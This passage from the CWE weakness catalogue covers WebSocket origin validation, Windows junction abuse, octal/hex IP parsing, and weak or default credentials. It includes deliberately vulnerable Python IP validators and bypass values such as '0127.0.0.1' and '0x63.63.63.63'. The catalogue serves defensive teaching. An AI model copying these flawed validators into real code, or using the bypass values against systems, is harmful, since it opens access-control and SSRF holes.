- Materials manipulation: focused ion beams (FIB), etc.
- Exposure to radiation: x-rays, cosmic radiation, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ParentOf	<b>B</b>	1247	Improper Protection Against Voltage and Clock Glitches	1886
ParentOf	<b>B</b>	1261	Improper Handling of Single Event Upsets	1918
ParentOf	<b>B</b>	1332	Improper Handling of Faults that Lead to Instruction Skips	2050
ParentOf	<b>B</b>	1351	Improper Handling of Hardware Behavior in Exceptionally Cold Environments	2074

### Applicable Platforms

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity	Unexpected State	
Availability	<i>Consequences of this weakness are highly dependent on the role of affected components within the larger product.</i>	

### Potential Mitigations

#### Phase: Requirements

In requirements, be specific about expectations for how the product will perform when it exceeds physical and environmental boundary conditions, e.g., by shutting down.

#### Phase: Architecture and Design

#### Phase: Implementation

Where possible, include independent components that can detect excess environmental conditions and have the capability to shut down the product.

#### Phase: Architecture and Design

#### Phase: Implementation

Where possible, use shielding or other materials that can increase the adversary's workload and reduce the likelihood of being able to successfully trigger a security-related failure.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<b>C</b>	1365	ICS Communications: Unreliability	<input type="checkbox"/>	1358 2294
MemberOf	<b>C</b>	1367	ICS Dependencies (& Architecture): External Physical Systems	<input type="checkbox"/>	1358 2296
MemberOf	<b>C</b>	1388	Physical Access Issues and Concerns	<input type="checkbox"/>	1194 2309

### References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

[REF-1255]Sergei P. Skorobogatov. "Semi-invasive attacks - A new approach to hardware security analysis". 2005 April. < <https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-630.pdf> >.

[REF-1285]Texas Instruments. "Physical Security Attacks Against Silicon Devices". 2022 January 1. < <https://www.ti.com/lit/an/swra739/swra739.pdf?ts=1644234570420> >.

[REF-1286]Lennert Wouters, Benedikt Gierlichs and Bart Preneel. "On The Susceptibility of Texas Instruments SimpleLink Platform Microcontrollers to Non-Invasive Physical Attacks". 2022 March 4. < https://eprint.iacr.org/2022/328.pdf >.

## CWE-1385: Missing Origin Validation in WebSockets

**Weakness ID** : 1385

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.

### Extended Description

WebSockets provide a bi-directional low latency communication (near real-time) between a client and a server. WebSockets are different than HTTP in that the connections are long-lived, as the channel will remain open until the client or the server is ready to send the message, whereas in HTTP, once the response occurs (which typically happens immediately), the transaction completes.

A WebSocket can leverage the existing HTTP protocol over ports 80 and 443, but it is not limited to HTTP. WebSockets can make cross-origin requests that are not restricted by browser-based protection mechanisms such as the Same Origin Policy (SOP) or Cross-Origin Resource Sharing (CORS). Without explicit origin validation, this makes CSRF attacks more powerful.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		346	Origin Validation Error	808

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Undetermined*)

### Alternate Terms

**Cross-Site WebSocket hijacking (CSWSH)** : this term is used for attacks that exploit this weakness

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity	Gain Privileges or Assume Identity	
Availability	Bypass Protection Mechanism	
Non-Repudiation	Read Application Data	
Access Control	Modify Application Data	
	DoS: Crash, Exit, or Restart	
<i>The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim.</i>		

Scope	Impact	Likelihood
	<i>If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of the CSRF is limited only by the victim's privileges.</i>	

## Potential Mitigations

### Phase: Implementation

Enable CORS-like access restrictions by verifying the 'Origin' header during the WebSocket handshake.

### Phase: Implementation

Use a randomized CSRF token to verify requests.

### Phase: Implementation

Use TLS to securely communicate using 'wss' (WebSocket Secure) instead of 'ws'.

### Phase: Architecture and Design

### Phase: Implementation

Require user authentication prior to the WebSocket connection being established. For example, the WS library in Node has a 'verifyClient' function.

### Phase: Implementation

Leverage rate limiting to prevent against DoS. Use of the leaky bucket algorithm can help with this.

*Effectiveness = Defense in Depth*

### Phase: Implementation

Use a library that provides restriction of the payload size. For example, WS library for Node includes 'maxPayloadoption' that can be set.

*Effectiveness = Defense in Depth*

### Phase: Implementation

Treat data/input as untrusted in both directions and apply the same data/input sanitization as XSS, SQLi, etc.

## Observed Examples

Reference	Description
<b>CVE-2020-25095</b>	web console for SIEM product does not check Origin header, allowing Cross Site WebSocket Hijacking (CSWH) <a href="https://www.cve.org/CVERecord?id=CVE-2020-25095">https://www.cve.org/CVERecord?id=CVE-2020-25095</a>
<b>CVE-2018-6651</b>	Chain: gaming client attempts to validate the Origin header, but only uses a substring, allowing Cross-Site WebSocket hijacking by forcing requests from an origin whose hostname is a substring of the valid origin. <a href="https://www.cve.org/CVERecord?id=CVE-2018-6651">https://www.cve.org/CVERecord?id=CVE-2018-6651</a>
<b>CVE-2018-14730</b>	WebSocket server does not check the origin of requests, allowing attackers to steal developer's code using a ws://127.0.0.1:3123/ connection. <a href="https://www.cve.org/CVERecord?id=CVE-2018-14730">https://www.cve.org/CVERecord?id=CVE-2018-14730</a>
<b>CVE-2018-14731</b>	WebSocket server does not check the origin of requests, allowing attackers to steal developer's code using a ws://127.0.0.1/ connection to a randomized port number.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2018-14731">https://www.cve.org/CVERecord?id=CVE-2018-14731</a>
<b>CVE-2018-14732</b>	WebSocket server does not check the origin of requests, allowing attackers to steal developer's code using a ws://127.0.0.1:8080/ connection. <a href="https://www.cve.org/CVERecord?id=CVE-2018-14732">https://www.cve.org/CVERecord?id=CVE-2018-14732</a>

## References

[REF-1257]Christian Schneider. "Cross-Site WebSocket Hijacking (CSWSH)". 2013 September 1. < <https://christian-schneider.net/CrossSiteWebSocketHijacking.html> >.

[REF-1251]Drew Branch. "WebSockets not Bound by SOP and CORS? Does this mean...". 2018 June 6. < <https://blog.securityevaluators.com/websockets-not-bound-by-cors-does-this-mean-2e7819374acc> >.

[REF-1252]Mehul Mohan. "How to secure your WebSocket connections". 2018 November 2. < <https://www.freecodecamp.org/news/how-to-secure-your-websocket-connections-d0be0996c556/> >.

[REF-1256]Vickie Li. "Cross-Site WebSocket Hijacking (CSWSH)". 2019 November 7. < <https://medium.com/swlh/hacking-websocket-25d3cba6a4b9> >.

[REF-1253]PortSwigger. "Testing for WebSockets security vulnerabilities". < <https://portswigger.net/web-security/websockets> >.

## CWE-1386: Insecure Operation on Windows Junction / Mount Point

**Weakness ID** : 1386

**Structure** : Simple

**Abstraction** : Base

### Description

The product opens a file or directory, but it does not properly prevent the name from being associated with a junction or mount point to a destination that is outside of the intended control sphere.

### Extended Description

Depending on the intended action being performed, this could allow an attacker to cause the product to read, write, delete, or otherwise operate on unauthorized files.

In Windows, NTFS5 allows for file system objects called reparse points. Applications can create a hard link from one directory to another directory, called a junction point. They can also create a mapping from a directory to a drive letter, called a mount point. If a file is used by a privileged program, but it can be replaced with a hard link to a sensitive file (e.g., AUTOEXEC.BAT), an attacker could escalate privileges. When the process opens the file, the attacker can assume the privileges of that process, tricking the privileged process to read, modify, or delete the sensitive file, preventing the program from accurately processing data. Note that one can also point to registries and semaphores.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf	ⓑ	59	Improper Link Resolution Before File Access ('Link Following')	108

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories  <i>Read arbitrary files by replacing a user-controlled folder with a mount point and additional hard links.</i>	
Integrity	Modify Files or Directories  <i>Modify an arbitrary file by replacing the rollback files in installer directories, as they can have the installer execute those rollbacks.</i>	
Availability	Modify Files or Directories  <i>Even if there is no control of contents, an arbitrary file delete or overwrite (when running as SYSTEM or admin) can be used for a permanent system denial-of-service, e.g. by deleting a startup configuration file that prevents the service from starting.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

When designing software that will have different rights than the executer, the software should check that files that it is interacting with are not improper hard links or mount points. One way to do this in Windows is to use the functionality embedded in the following command: "dir /al /s /b" or, in PowerShell, use LinkType as a filter. In addition, some software uses authentication via signing to ensure that the file is the correct one to use. Make checks atomic with the file action, otherwise a TOCTOU weakness (CWE-367) can be introduced.

### Observed Examples

Reference	Description
<b>CVE-2021-26426</b>	Privileged service allows attackers to delete unauthorized files using a directory junction, leading to arbitrary code execution as SYSTEM. <a href="https://www.cve.org/CVERecord?id=CVE-2021-26426">https://www.cve.org/CVERecord?id=CVE-2021-26426</a>
<b>CVE-2020-0863</b>	By creating a mount point and hard links, an attacker can abuse a service to allow users arbitrary file read permissions. <a href="https://www.cve.org/CVERecord?id=CVE-2020-0863">https://www.cve.org/CVERecord?id=CVE-2020-0863</a>
<b>CVE-2019-1161</b>	Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted. <a href="https://www.cve.org/CVERecord?id=CVE-2019-1161">https://www.cve.org/CVERecord?id=CVE-2019-1161</a>
<b>CVE-2014-0568</b>	Escape from sandbox for document reader by using a mountpoint [REF-1264] <a href="https://www.cve.org/CVERecord?id=CVE-2014-0568">https://www.cve.org/CVERecord?id=CVE-2014-0568</a>

### Notes

#### Terminology



Symbolic links, hard links, junctions, and mount points can be confusing terminology, as there are differences in how they operate between UNIX-based systems and Windows, and there are interactions between them.

### Maintenance

This entry is still under development and will continue to see updates and content improvements.

### References

[REF-1262]Eran Shimony. "Follow the Link: Exploiting Symbolic Links with Ease". 2019 October 3. < <https://www.cyberark.com/resources/threat-research-blog/follow-the-link-exploiting-symbolic-links-with-ease> >.

[REF-1264]James Forshaw. "Windows 10^H^H Symbolic Link Mitigations". 2015 August 5. < <https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html> >.

[REF-1265]"Symbolic testing tools". < <https://github.com/googleprojectzero/symboliclink-testing-tools> >.

[REF-1266]Shubham Dubey. "Understanding and Exploiting Symbolic links in Windows - Symlink Attack EOP". 2020 April 6. < <https://nixhacker.com/understanding-and-exploiting-symbolic-link-in-windows/> >.

[REF-1267]Simon Zuckerbraun. "Abusing Arbitrary File Deletes to Escalate Privilege and Other Great Tricks". 2022 March 7. < <https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks> >.

[REF-1271]Clément Lavoillette. "Abusing privileged file operations". 2019 March 0. < <https://troopers.de/troopers19/agenda/7af9hw/> >.

## CWE-1389: Incorrect Parsing of Numbers with Different Radices

**Weakness ID** : 1389

**Structure** : Simple

**Abstraction** : Base

### Description

The product parses numeric input assuming base 10 (decimal) values, but it does not account for inputs that use a different base number (radix).

### Extended Description

Frequently, a numeric input that begins with "0" is treated as octal, or "0x" causes it to be treated as hexadecimal, e.g. by the `inet_addr()` function. For example, "023" (octal) is 35 decimal, or "0x31" is 49 decimal. Other bases may be used as well. If the developer assumes decimal-only inputs, the code could produce incorrect numbers when the inputs are parsed using a different base. This can result in unexpected and/or dangerous behavior. For example, a "0127.0.0.1" IP address is parsed as octal due to the leading "0", whose numeric value would be the same as 87.0.0.1 (decimal), where the developer likely expected to use 127.0.0.1.

The consequences vary depending on the surrounding code in which this weakness occurs, but they can include bypassing network-based access control using unexpected IP addresses or netmasks, or causing apparently-symbolic identifiers to be processed as if they are numbers. In web applications, this can enable bypassing of SSRF restrictions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		704	Incorrect Type Conversion or Cast	1435

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		189	Numeric Errors	2103

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>An attacker may use an unexpected numerical base to access private application resources.</i>	Unknown
Integrity	Bypass Protection Mechanism Alter Execution Logic <i>An attacker may use an unexpected numerical base to bypass or manipulate access control mechanisms.</i>	Unknown

### Potential Mitigations

#### Phase: Implementation

*Strategy = Enforcement by Conversion*

If only decimal-based values are expected in the application, conditional checks should be created in a way that prevent octal or hexadecimal strings from being checked. This can be achieved by converting any numerical string to an explicit base-10 integer prior to the conditional check, to prevent octal or hex values from ever being checked against the condition.

#### Phase: Implementation

*Strategy = Input Validation*

If various numerical bases do need to be supported, check for leading values indicating the non-decimal base you wish to support (such as 0x for hex) and convert the numeric strings to integers of the respective base. Reject any other alternative-base string that is not intentionally supported by the application.

#### Phase: Implementation

*Strategy = Input Validation*

If regular expressions are used to validate IP addresses, ensure that they are bounded using ^ and \$ to prevent base-prepended IP addresses from being matched.

### Demonstrative Examples

#### Example 1:

The below demonstrative example uses an IP validator that splits up an IP address by octet, tests to ensure each octet can be casted into an integer, and then returns the original IP address if no exceptions are raised. This validated IP address is then tested using the "ping" command.

Example Language: Python

(bad)

```
import subprocess
def validate_ip(ip: str):
    split_ip = ip.split('.')
    if len(split_ip) > 4 or len(split_ip) == 0:
        raise ValueError("Invalid IP length")
    for octet in split_ip:
        try:
            int(octet, 10)
        except ValueError as e:
            raise ValueError(f"Cannot convert IP octet to int - {e}")
    # Returns original IP after ensuring no exceptions are raised
    return ip
def run_ping(ip: str):
    validated = validate_ip(ip)
    # The ping command treats zero-prepended IP addresses as octal
    result = subprocess.call(["ping", validated])
    print(result)
```

If `run_ping()` were to be called with one or more zero-prepended octets, `validate_ip()` will succeed as zero-prepended numerical strings can be interpreted as decimal by a cast ("012" would cast to 12). However, as the original IP with the prepended zeroes is returned rather than the casted IP, it will be used in the call to the ping command. Ping DOES check and support octal-based IP octets, so the IP reached via ping may be different than the IP assumed by the validator. For example, ping would consider "0127.0.0.1" the same as "87.0.0.1".

**Example 2:**

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

Example Language: Python

(bad)

```
import subprocess
import re
def validate_ip_regex(ip: str):
    ip_validator = re.compile(r"((25[0-5])|(2[0-4])|1\d|[1-9])\d\.\.?b{4}")
    if ip_validator.match(ip):
        return ip
    else:
        raise ValueError("IP address does not match valid pattern.")
def run_ping_regex(ip: str):
    validated = validate_ip_regex(ip)
    # The ping command treats zero-prepended IP addresses as octal
    result = subprocess.call(["ping", validated])
    print(result)
```

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without `^` or `$` characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

**Example 3:**

Consider the following scenario, inspired by CWE team member Kelly Todd.

Kelly wants to set up monitoring systems for his two cats, who pose very different threats. One cat, Night, tweets embarrassing or critical comments about his owner in ways that could cause reputational damage, so Night's blog needs to be monitored regularly. The other cat, Taki, likes to distract Kelly and his coworkers during business meetings with cute meows, so Kelly monitors Taki's location using a different web site.

Suppose /etc/hosts provides the site info as follows:

Example Language: Other

(bad)

```
taki.example.com 10.1.0.7
night.example.com 010.1.0.8
```

The entry for night.example.com has a typo "010" in the first octet. When using ping to ensure the servers are up, the leading 0 causes the IP address to be converted using octal. So when Kelly's script attempts to access night.example.com, it inadvertently scans 8.1.0.8 instead of 10.1.0.8 (since "010" in octal is 8 in decimal), and Night is free to send new Tweets without being immediately detected.

### Observed Examples

Reference	Description
<b>CVE-2021-29662</b>	Chain: Use of zero-prepended IP addresses in Perl-based IP validation module can lead to an access control bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2021-29662">https://www.cve.org/CVERecord?id=CVE-2021-29662</a>
<b>CVE-2021-28918</b>	Chain: Use of zero-prepended IP addresses in a product that manages IP blocks can lead to an SSRF. <a href="https://www.cve.org/CVERecord?id=CVE-2021-28918">https://www.cve.org/CVERecord?id=CVE-2021-28918</a>
<b>CVE-2021-29921</b>	Chain: Use of zero-prepended IP addresses in a Python standard library package can lead to an SSRF. <a href="https://www.cve.org/CVERecord?id=CVE-2021-29921">https://www.cve.org/CVERecord?id=CVE-2021-29921</a>
<b>CVE-2021-29923</b>	Chain: Use of zero-prepended IP addresses in the net Golang library can lead to an access control bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2021-29923">https://www.cve.org/CVERecord?id=CVE-2021-29923</a>
<b>CVE-2021-29424</b>	Chain: Use of zero-prepended IP addresses in Perl netmask module allows bypass of IP-based access control. <a href="https://www.cve.org/CVERecord?id=CVE-2021-29424">https://www.cve.org/CVERecord?id=CVE-2021-29424</a>
<b>CVE-2016-4029</b>	Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918). <a href="https://www.cve.org/CVERecord?id=CVE-2016-4029">https://www.cve.org/CVERecord?id=CVE-2016-4029</a>
<b>CVE-2020-13776</b>	Mishandling of hex-valued usernames leads to unexpected decimal conversion and privilege escalation in the systemd Linux suite. <a href="https://www.cve.org/CVERecord?id=CVE-2020-13776">https://www.cve.org/CVERecord?id=CVE-2020-13776</a>

### References

[REF-1284]Sick Codes. "Universal "netmask" npm package, used by 270,000+ projects, vulnerable to octal input data". 2021 March 8. < <https://sick.codes/universal-netmask-npm-package-used-by-270000-projects-vulnerable-to-octal-input-data-server-side-request-forgery-remote-file-inclusion-local-file-inclusion-and-more-cve-2021-28918/> >.

## CWE-1390: Weak Authentication

**Weakness ID** : 1390  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct.






















### Extended Description

Attackers may be able to bypass weak authentication faster and/or with less effort than expected.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657
ParentOf		262	Not Using Password Aging	600
ParentOf		263	Password Aging with Long Expiration	602
ParentOf		289	Authentication Bypass by Alternate Name	666
ParentOf		290	Authentication Bypass by Spoofing	668
ParentOf		294	Authentication Bypass by Capture-replay	675
ParentOf		301	Reflection Attack in an Authentication Protocol	695
ParentOf		302	Authentication Bypass by Assumed-Immutable Data	697
ParentOf		303	Incorrect Implementation of Authentication Algorithm	699
ParentOf		305	Authentication Bypass by Primary Weakness	702
ParentOf		307	Improper Restriction of Excessive Authentication Attempts	709
ParentOf		308	Use of Single-factor Authentication	713
ParentOf		309	Use of Password System for Primary Authentication	716
ParentOf		522	Insufficiently Protected Credentials	1157
ParentOf		593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1252
ParentOf		603	Use of Client-Side Authentication	1275
ParentOf		620	Unverified Password Change	1301
ParentOf		640	Weak Password Recovery Mechanism for Forgotten Password	1326
ParentOf		804	Guessable CAPTCHA	1584
ParentOf		836	Use of Password Hash Instead of Password for Authentication	1639
ParentOf		1391	Use of Weak Credentials	2089

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Read Application Data	
Confidentiality	Gain Privileges or Assume Identity	
Availability	Execute Unauthorized Code or Commands	
Access Control	<i>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.</i>	

## Demonstrative Examples

**Example 1:**

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used weak authentication.

### Observed Examples

Reference	Description
<b>CVE-2022-30034</b>	Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390). <a href="https://www.cve.org/CVERecord?id=CVE-2022-30034">https://www.cve.org/CVERecord?id=CVE-2022-30034</a>
<b>CVE-2021-3116</b>	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390) <a href="https://www.cve.org/CVERecord?id=CVE-2021-3116">https://www.cve.org/CVERecord?id=CVE-2021-3116</a>
<b>CVE-2022-29965</b>	Distributed Control System (DCS) uses a deterministic algorithm to generate utility passwords <a href="https://www.cve.org/CVERecord?id=CVE-2022-29965">https://www.cve.org/CVERecord?id=CVE-2022-29965</a>
<b>CVE-2022-29959</b>	Initialization file contains credentials that can be decoded using a "simple string transformation" <a href="https://www.cve.org/CVERecord?id=CVE-2022-29959">https://www.cve.org/CVERecord?id=CVE-2022-29959</a>

### References

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-1391: Use of Weak Credentials

**Weakness ID** : 1391

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker.

### Extended Description

By design, authentication protocols try to ensure that attackers must perform brute force attacks if they do not know the credentials such as a key or password. However, when these credentials are easily predictable or even fixed (as with default or hard-coded passwords and keys), then the attacker can defeat the mechanism without relying on brute force.

Credentials may be weak for different reasons, such as:

- Hard-coded (i.e., static and unchangeable by the administrator)
- Default (i.e., the same static value across different deployments/installations, but able to be changed by the administrator)
- Predictable (i.e., generated in a way that produces unique credentials across deployments/installations, but can still be guessed with reasonable efficiency)







Even if a new, unique credential is intended to be generated for each product installation, if the generation is predictable, then that may also simplify guessing attacks.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087
ParentOf		521	Weak Password Requirements	1154
ParentOf		798	Use of Hard-coded Credentials	1573
ParentOf		1392	Use of Default Credentials	2091

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Demonstrative Examples

### Example 1:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used weak credentials.

## Observed Examples

Reference	Description
<b>CVE-2022-30270</b>	Remote Terminal Unit (RTU) uses default credentials for some SSH accounts <a href="https://www.cve.org/CVERecord?id=CVE-2022-30270">https://www.cve.org/CVERecord?id=CVE-2022-30270</a>
<b>CVE-2022-29965</b>	Distributed Control System (DCS) uses a deterministic algorithm to generate utility passwords <a href="https://www.cve.org/CVERecord?id=CVE-2022-29965">https://www.cve.org/CVERecord?id=CVE-2022-29965</a>
<b>CVE-2022-30271</b>	Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments <a href="https://www.cve.org/CVERecord?id=CVE-2022-30271">https://www.cve.org/CVERecord?id=CVE-2022-30271</a>
<b>CVE-2021-38759</b>	microcontroller board has default password, allowing admin access <a href="https://www.cve.org/CVERecord?id=CVE-2021-38759">https://www.cve.org/CVERecord?id=CVE-2021-38759</a>
<b>CVE-2021-41192</b>	data visualization/sharing package uses default secret keys or cookie values if they are not specified in environment variables <a href="https://www.cve.org/CVERecord?id=CVE-2021-41192">https://www.cve.org/CVERecord?id=CVE-2021-41192</a>
<b>CVE-2020-27020</b>	password manager does not generate cryptographically strong passwords, allowing prediction of passwords using guessable details such as time of generation <a href="https://www.cve.org/CVERecord?id=CVE-2020-27020">https://www.cve.org/CVERecord?id=CVE-2020-27020</a>



Reference	Description
<b>CVE-2020-8632</b>	password generator for cloud application has small length value, making it easier for brute-force guessing <a href="https://www.cve.org/CVERecord?id=CVE-2020-8632">https://www.cve.org/CVERecord?id=CVE-2020-8632</a>
<b>CVE-2020-5365</b>	network-attached storage (NAS) system has predictable default passwords for a diagnostics/support account <a href="https://www.cve.org/CVERecord?id=CVE-2020-5365">https://www.cve.org/CVERecord?id=CVE-2020-5365</a>
<b>CVE-2020-5248</b>	IT asset management app has a default encryption key that is the same across installations <a href="https://www.cve.org/CVERecord?id=CVE-2020-5248">https://www.cve.org/CVERecord?id=CVE-2020-5248</a>
<b>CVE-2012-3503</b>	Installation script has a hard-coded secret token value, allowing attackers to bypass authentication <a href="https://www.cve.org/CVERecord?id=CVE-2012-3503">https://www.cve.org/CVERecord?id=CVE-2012-3503</a>
<b>CVE-2010-2306</b>	Intrusion Detection System (IDS) uses the same static, private SSL keys for multiple devices and installations, allowing decryption of SSL traffic <a href="https://www.cve.org/CVERecord?id=CVE-2010-2306">https://www.cve.org/CVERecord?id=CVE-2010-2306</a>
<b>CVE-2001-0618</b>	Residential gateway uses the last 5 digits of the 'Network Name' or SSID as the default WEP key, which allows attackers to get the key by sniffing the SSID, which is sent in the clear <a href="https://www.cve.org/CVERecord?id=CVE-2001-0618">https://www.cve.org/CVERecord?id=CVE-2001-0618</a>

## References

- [REF-1303]Kelly Jackson Higgins. "Researchers Out Default Passwords Packaged With ICS/ SCADA Wares". 2016 January 4. < <https://www.darkreading.com/endpoint/researchers-out-default-passwords-packaged-with-ics-scada-wares> >.2022-10-11.
- [REF-1304]ICS-CERT. "ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords". 2013 June 3. < <https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-13-164-01> >.2022-10-11.
- [REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-1392: Use of Default Credentials

**Weakness ID** : 1392  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product uses default credentials (such as passwords or cryptographic keys) for potentially critical functionality.

### Extended Description

It is common practice for products to be designed to use default keys, passwords, or other mechanisms for authentication. The rationale is to simplify the manufacturing process or the system administrator's task of installation and deployment into an enterprise. However, if admins do not change the defaults, it is easier for attackers to bypass authentication quickly across multiple organizations.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1391	Use of Weak Credentials	2089
ParentOf		1393	Use of Default Password	2093
ParentOf		1394	Use of Default Cryptographic Key	2095

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

